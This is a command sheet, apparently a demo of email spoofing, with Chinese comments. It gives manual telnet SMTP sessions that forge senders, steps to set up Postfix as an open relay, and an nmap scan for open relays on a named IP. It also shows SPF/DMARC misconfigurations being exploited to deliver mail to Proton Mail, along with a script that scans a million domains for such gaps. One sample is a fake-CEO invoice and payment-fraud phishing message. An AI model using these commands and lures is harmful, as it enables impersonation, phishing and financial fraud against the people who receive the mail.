dig MX {{TODO}} +short
telnet {{ TODO }}25HELO nsa.gov
MAIL FROM: <jack@nsa.gov>
RCPT TO: {{ TODO }}DATA
Content-Type: multipart/mixed;boundary="NextMimePart"From: security@nsa.gov
To: {{ TODO }}Subject: Snowden
--NextMimePart
Content-type: text/html;We forgive you :(.
dig TXT spf.m.ail.fail +short
curl ifconfig.me
telnet mailsec.protonmail.ch 25HELO spf.m.ail.fail
MAIL FROM: <jack@billyjoel.com>
RCPT TO: <mymailfail42@proton.me>
DATA
Content-Type: multipart/mixed;boundary="NextMimePart"From: jack@billyjoel.com
To: mymailfail42@proton.me
Subject: Piano Man
Message-ID: <unique-message-id@example.com>
--NextMimePart
Content-Type: text/html;Sing us a song.
.
# 这是一个检查 SMTP 开放中继的网站https://tools.appriver.com/OpenRelay.aspx?server=209.38.78.151
# 安装 postfix 开放中继sudo apt install postfix
sudo nano /etc/postfix/main.cf
# 添加以下行mynetworks= 0.0.0.0/0 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
permit_mynetworks= yes
# 重启 postfixsudo service postfix restart
# 使用 Nmap 扫描开放中继nmap -p 25,587,465 -v --open --script smtp-open-relay 209.38.78.151 | grep "Server is an open relay|MAIL FROM:" -B 6# 使用开放中继telnet 209.38.78.151 25HELO smtprelay.me
MAIL FROM: <jack@smtprelay.me>
RCPT TO: <mymailfail42@gmail.com>
DATA
Content-Type: multipart/mixed;boundary="NextMimePart"From: jack@smtprelay.me
To: mymailfail42@gmail.com
Subject: Did that invoice go out?
--NextMimePart
Content-Type: text/html;Hey Mike, this is Jack, your CEO. Did you ever send out that invoice for the holiday party?
If not, here are the routing numbers:
1234567890I've attached the invoice for your convenience. You should get this done ASAP, or it will affect your performance review.
Sincerely,
Your Boss
.
# 下载检查 DMARC 和 SPF 错误配置的脚本wget https://gist.githubusercontent.com/ACK-J/8a189bafbb54e00fb1b3f3e22dcd81c9/raw/5ad366adf6abdaaf981fd8bede5223f543e4242c/DMARC_and_SPF_Check.py
# 下载前一百万个域名的文件wget https://downloads.majesticseo.com/majestic_million.csv
# 格式化文件cat majestic_million.csv | tail -n +2 | cut -d ',' -f 3 > majestic_million.csv.txt
# 使用格式化后的文件运行脚本python3 DMARC_and_SPF_Check.py majestic_million.csv.txt
# 显示域的 SPF 记录指向我当前的 IP 地址dig TXT spf.m.ail.fail +short
# 显示我当前的 IPcurl ifconfig.me
# 连接到 Proton Mail 的邮件服务器# 欺骗 SPF# 利用域的错误配置的 SPF 和 DMARC 记录telnet mailsec.protonmail.ch 25HELO spf.m.ail.fail
MAIL FROM: <jack@spf.m.ail.fail>
RCPT TO: <mymailfail42@proton.me>
DATA
Content-Type: multipart/mixed;boundary="NextMimePart"To: mymailfail42@proton.me
From: vader@starwars.com
Subject: Your Inbox Has Fallen to the Dark Side
--NextMimePart
Content-Type: text/html;I find your email habits... disturbing.
Effective immediately:
- "Free lightsaber!" will trigger a full investigation by the Empire.
May the inbox be with you.
Darth Vader
Sith Lord & Email Administrator
.
# 显示域的 SPF 记录指向我当前的 IP 地址dig TXT spf.m.ail.fail +short
# 显示我当前的 IPcurl ifconfig.me
# 连接到 protonmail 的 SMTP 服务器# 欺骗 SPF# 包含一个带有不同邮件的 Reply-To: 标头telnet mailsec.protonmail.ch 25HELO spf.m.ail.fail
MAIL FROM: <jack@spf.m.ail.fail>
RCPT TO: <mymailfail42@proton.me>
DATA
Content-Type: multipart/mixed;boundary="NextMimePart"To: mymailfail42@proton.me
Reply-To: vader@starwars-corp.com
From: vader@starwars.com
Subject: Your Inbox Has Fallen to the Dark Side
--NextMimePart
Content-Type: text/html;I find your email habits... disturbing.
Effective immediately:
- "Free lightsaber!" will trigger a full investigation by the Empire.
May the inbox be with you.
Darth Vader
Sith Lord & Email Administrator
.